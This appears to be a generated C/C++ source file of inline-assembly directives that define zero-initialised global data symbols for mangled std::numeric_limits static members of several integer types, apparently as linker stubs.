__asm__(".globl _ZNSt14numeric_limitsIjE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIjE11round_styleE,@object; .size _ZNSt14numeric_limitsIjE11round_styleE, 4; _ZNSt14numeric_limitsIjE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIjE12has_infinityE,@object; .size _ZNSt14numeric_limitsIjE12has_infinityE, 1; _ZNSt14numeric_limitsIjE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIjE12max_exponentE,@object; .size _ZNSt14numeric_limitsIjE12max_exponentE, 4; _ZNSt14numeric_limitsIjE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIjE12min_exponentE,@object; .size _ZNSt14numeric_limitsIjE12min_exponentE, 4; _ZNSt14numeric_limitsIjE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIjE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIjE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIjE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIjE14is_specializedE,@object; .size _ZNSt14numeric_limitsIjE14is_specializedE, 1; _ZNSt14numeric_limitsIjE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIjE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIjE14max_exponent10E, 4; _ZNSt14numeric_limitsIjE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIjE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIjE14min_exponent10E, 4; _ZNSt14numeric_limitsIjE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIjE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIjE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIjE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIjE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIjE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIjE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIjE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIjE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIjE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIjE5radixE,@object; .size _ZNSt14numeric_limitsIjE5radixE, 4; _ZNSt14numeric_limitsIjE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIjE5trapsE,@object; .size _ZNSt14numeric_limitsIjE5trapsE, 1; _ZNSt14numeric_limitsIjE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIjE6digitsE,@object; .size _ZNSt14numeric_limitsIjE6digitsE, 4; _ZNSt14numeric_limitsIjE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIjE8digits10E,@object; .size _ZNSt14numeric_limitsIjE8digits10E, 4; _ZNSt14numeric_limitsIjE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIjE8is_exactE,@object; .size _ZNSt14numeric_limitsIjE8is_exactE, 1; _ZNSt14numeric_limitsIjE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIjE9is_iec559E,@object; .size _ZNSt14numeric_limitsIjE9is_iec559E, 1; _ZNSt14numeric_limitsIjE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIjE9is_moduloE,@object; .size _ZNSt14numeric_limitsIjE9is_moduloE, 1; _ZNSt14numeric_limitsIjE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIjE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIjE9is_signedE,@object; .size _ZNSt14numeric_limitsIjE9is_signedE, 1; _ZNSt14numeric_limitsIjE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIlE10has_denormE,@object; .size _ZNSt14numeric_limitsIlE10has_denormE, 4; _ZNSt14numeric_limitsIlE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIlE10is_boundedE,@object; .size _ZNSt14numeric_limitsIlE10is_boundedE, 1; _ZNSt14numeric_limitsIlE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIlE10is_integerE,@object; .size _ZNSt14numeric_limitsIlE10is_integerE, 1; _ZNSt14numeric_limitsIlE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIlE11round_styleE,@object; .size _ZNSt14numeric_limitsIlE11round_styleE, 4; _ZNSt14numeric_limitsIlE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIlE12has_infinityE,@object; .size _ZNSt14numeric_limitsIlE12has_infinityE, 1; _ZNSt14numeric_limitsIlE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIlE12max_exponentE,@object; .size _ZNSt14numeric_limitsIlE12max_exponentE, 4; _ZNSt14numeric_limitsIlE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIlE12min_exponentE,@object; .size _ZNSt14numeric_limitsIlE12min_exponentE, 4; _ZNSt14numeric_limitsIlE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIlE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIlE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIlE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIlE14is_specializedE,@object; .size _ZNSt14numeric_limitsIlE14is_specializedE, 1; _ZNSt14numeric_limitsIlE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIlE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIlE14max_exponent10E, 4; _ZNSt14numeric_limitsIlE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIlE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIlE14min_exponent10E, 4; _ZNSt14numeric_limitsIlE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIlE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIlE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIlE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIlE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIlE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIlE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIlE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIlE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIlE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIlE5radixE,@object; .size _ZNSt14numeric_limitsIlE5radixE, 4; _ZNSt14numeric_limitsIlE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIlE5trapsE,@object; .size _ZNSt14numeric_limitsIlE5trapsE, 1; _ZNSt14numeric_limitsIlE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIlE6digitsE,@object; .size _ZNSt14numeric_limitsIlE6digitsE, 4; _ZNSt14numeric_limitsIlE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIlE8digits10E,@object; .size _ZNSt14numeric_limitsIlE8digits10E, 4; _ZNSt14numeric_limitsIlE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIlE8is_exactE,@object; .size _ZNSt14numeric_limitsIlE8is_exactE, 1; _ZNSt14numeric_limitsIlE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIlE9is_iec559E,@object; .size _ZNSt14numeric_limitsIlE9is_iec559E, 1; _ZNSt14numeric_limitsIlE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIlE9is_moduloE,@object; .size _ZNSt14numeric_limitsIlE9is_moduloE, 1; _ZNSt14numeric_limitsIlE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIlE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIlE9is_signedE,@object; .size _ZNSt14numeric_limitsIlE9is_signedE, 1; _ZNSt14numeric_limitsIlE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsImE10has_denormE,@object; .size _ZNSt14numeric_limitsImE10has_denormE, 4; _ZNSt14numeric_limitsImE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsImE10is_boundedE,@object; .size _ZNSt14numeric_limitsImE10is_boundedE, 1; _ZNSt14numeric_limitsImE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsImE10is_integerE,@object; .size _ZNSt14numeric_limitsImE10is_integerE, 1; _ZNSt14numeric_limitsImE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsImE11round_styleE,@object; .size _ZNSt14numeric_limitsImE11round_styleE, 4; _ZNSt14numeric_limitsImE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsImE12has_infinityE,@object; .size _ZNSt14numeric_limitsImE12has_infinityE, 1; _ZNSt14numeric_limitsImE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsImE12max_exponentE,@object; .size _ZNSt14numeric_limitsImE12max_exponentE, 4; _ZNSt14numeric_limitsImE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsImE12min_exponentE,@object; .size _ZNSt14numeric_limitsImE12min_exponentE, 4; _ZNSt14numeric_limitsImE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsImE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsImE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsImE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsImE14is_specializedE,@object; .size _ZNSt14numeric_limitsImE14is_specializedE, 1; _ZNSt14numeric_limitsImE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsImE14max_exponent10E,@object; .size _ZNSt14numeric_limitsImE14max_exponent10E, 4; _ZNSt14numeric_limitsImE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsImE14min_exponent10E,@object; .size _ZNSt14numeric_limitsImE14min_exponent10E, 4; _ZNSt14numeric_limitsImE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsImE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsImE15has_denorm_lossE, 1; _ZNSt14numeric_limitsImE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsImE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsImE15tinyness_beforeE, 1; _ZNSt14numeric_limitsImE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsImE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsImE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsImE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsImE5radixE,@object; .size _ZNSt14numeric_limitsImE5radixE, 4; _ZNSt14numeric_limitsImE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsImE5trapsE,@object; .size _ZNSt14numeric_limitsImE5trapsE, 1; _ZNSt14numeric_limitsImE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsImE6digitsE,@object; .size _ZNSt14numeric_limitsImE6digitsE, 4; _ZNSt14numeric_limitsImE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsImE8digits10E,@object; .size _ZNSt14numeric_limitsImE8digits10E, 4; _ZNSt14numeric_limitsImE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsImE8is_exactE,@object; .size _ZNSt14numeric_limitsImE8is_exactE, 1; _ZNSt14numeric_limitsImE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsImE9is_iec559E,@object; .size _ZNSt14numeric_limitsImE9is_iec559E, 1; _ZNSt14numeric_limitsImE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsImE9is_moduloE,@object; .size _ZNSt14numeric_limitsImE9is_moduloE, 1; _ZNSt14numeric_limitsImE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsImE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsImE9is_signedE,@object; .size _ZNSt14numeric_limitsImE9is_signedE, 1; _ZNSt14numeric_limitsImE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIsE10has_denormE,@object; .size _ZNSt14numeric_limitsIsE10has_denormE, 4; _ZNSt14numeric_limitsIsE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIsE10is_boundedE,@object; .size _ZNSt14numeric_limitsIsE10is_boundedE, 1; _ZNSt14numeric_limitsIsE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIsE10is_integerE,@object; .size _ZNSt14numeric_limitsIsE10is_integerE, 1; _ZNSt14numeric_limitsIsE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIsE11round_styleE,@object; .size _ZNSt14numeric_limitsIsE11round_styleE, 4; _ZNSt14numeric_limitsIsE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIsE12has_infinityE,@object; .size _ZNSt14numeric_limitsIsE12has_infinityE, 1; _ZNSt14numeric_limitsIsE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIsE12max_exponentE,@object; .size _ZNSt14numeric_limitsIsE12max_exponentE, 4; _ZNSt14numeric_limitsIsE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIsE12min_exponentE,@object; .size _ZNSt14numeric_limitsIsE12min_exponentE, 4; _ZNSt14numeric_limitsIsE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIsE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIsE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIsE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIsE14is_specializedE,@object; .size _ZNSt14numeric_limitsIsE14is_specializedE, 1; _ZNSt14numeric_limitsIsE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIsE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIsE14max_exponent10E, 4; _ZNSt14numeric_limitsIsE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIsE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIsE14min_exponent10E, 4; _ZNSt14numeric_limitsIsE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIsE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIsE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIsE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIsE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIsE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIsE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIsE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIsE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIsE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIsE5radixE,@object; .size _ZNSt14numeric_limitsIsE5radixE, 4; _ZNSt14numeric_limitsIsE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIsE5trapsE,@object; .size _ZNSt14numeric_limitsIsE5trapsE, 1; _ZNSt14numeric_limitsIsE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIsE6digitsE,@object; .size _ZNSt14numeric_limitsIsE6digitsE, 4; _ZNSt14numeric_limitsIsE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIsE8digits10E,@object; .size _ZNSt14numeric_limitsIsE8digits10E, 4; _ZNSt14numeric_limitsIsE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIsE8is_exactE,@object; .size _ZNSt14numeric_limitsIsE8is_exactE, 1; _ZNSt14numeric_limitsIsE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIsE9is_iec559E,@object; .size _ZNSt14numeric_limitsIsE9is_iec559E, 1; _ZNSt14numeric_limitsIsE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIsE9is_moduloE,@object; .size _ZNSt14numeric_limitsIsE9is_moduloE, 1; _ZNSt14numeric_limitsIsE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIsE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIsE9is_signedE,@object; .size _ZNSt14numeric_limitsIsE9is_signedE, 1; _ZNSt14numeric_limitsIsE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsItE10has_denormE,@object; .size _ZNSt14numeric_limitsItE10has_denormE, 4; _ZNSt14numeric_limitsItE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsItE10is_boundedE,@object; .size _ZNSt14numeric_limitsItE10is_boundedE, 1; _ZNSt14numeric_limitsItE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsItE10is_integerE,@object; .size _ZNSt14numeric_limitsItE10is_integerE, 1; _ZNSt14numeric_limitsItE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsItE11round_styleE,@object; .size _ZNSt14numeric_limitsItE11round_styleE, 4; _ZNSt14numeric_limitsItE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsItE12has_infinityE,@object; .size _ZNSt14numeric_limitsItE12has_infinityE, 1; _ZNSt14numeric_limitsItE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsItE12max_exponentE,@object; .size _ZNSt14numeric_limitsItE12max_exponentE, 4; _ZNSt14numeric_limitsItE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsItE12min_exponentE,@object; .size _ZNSt14numeric_limitsItE12min_exponentE, 4; _ZNSt14numeric_limitsItE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsItE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsItE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsItE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsItE14is_specializedE,@object; .size _ZNSt14numeric_limitsItE14is_specializedE, 1; _ZNSt14numeric_limitsItE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsItE14max_exponent10E,@object; .size _ZNSt14numeric_limitsItE14max_exponent10E, 4; _ZNSt14numeric_limitsItE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsItE14min_exponent10E,@object; .size _ZNSt14numeric_limitsItE14min_exponent10E, 4; _ZNSt14numeric_limitsItE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsItE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsItE15has_denorm_lossE, 1; _ZNSt14numeric_limitsItE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsItE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsItE15tinyness_beforeE, 1; _ZNSt14numeric_limitsItE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsItE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsItE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsItE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsItE5radixE,@object; .size _ZNSt14numeric_limitsItE5radixE, 4; _ZNSt14numeric_limitsItE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsItE5trapsE,@object; .size _ZNSt14numeric_limitsItE5trapsE, 1; _ZNSt14numeric_limitsItE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsItE6digitsE,@object; .size _ZNSt14numeric_limitsItE6digitsE, 4; _ZNSt14numeric_limitsItE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsItE8digits10E,@object; .size _ZNSt14numeric_limitsItE8digits10E, 4; _ZNSt14numeric_limitsItE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsItE8is_exactE,@object; .size _ZNSt14numeric_limitsItE8is_exactE, 1; _ZNSt14numeric_limitsItE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsItE9is_iec559E,@object; .size _ZNSt14numeric_limitsItE9is_iec559E, 1; _ZNSt14numeric_limitsItE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsItE9is_moduloE,@object; .size _ZNSt14numeric_limitsItE9is_moduloE, 1; _ZNSt14numeric_limitsItE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsItE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsItE9is_signedE,@object; .size _ZNSt14numeric_limitsItE9is_signedE, 1; _ZNSt14numeric_limitsItE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIwE10has_denormE,@object; .size _ZNSt14numeric_limitsIwE10has_denormE, 4; _ZNSt14numeric_limitsIwE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIwE10is_boundedE,@object; .size _ZNSt14numeric_limitsIwE10is_boundedE, 1; _ZNSt14numeric_limitsIwE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIwE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIwE10is_integerE,@object; .size _ZNSt14numeric_limitsIwE10is_integerE, 1; _ZNSt14numeric_limitsIwE10is_integerE: .long 0; .popsection");
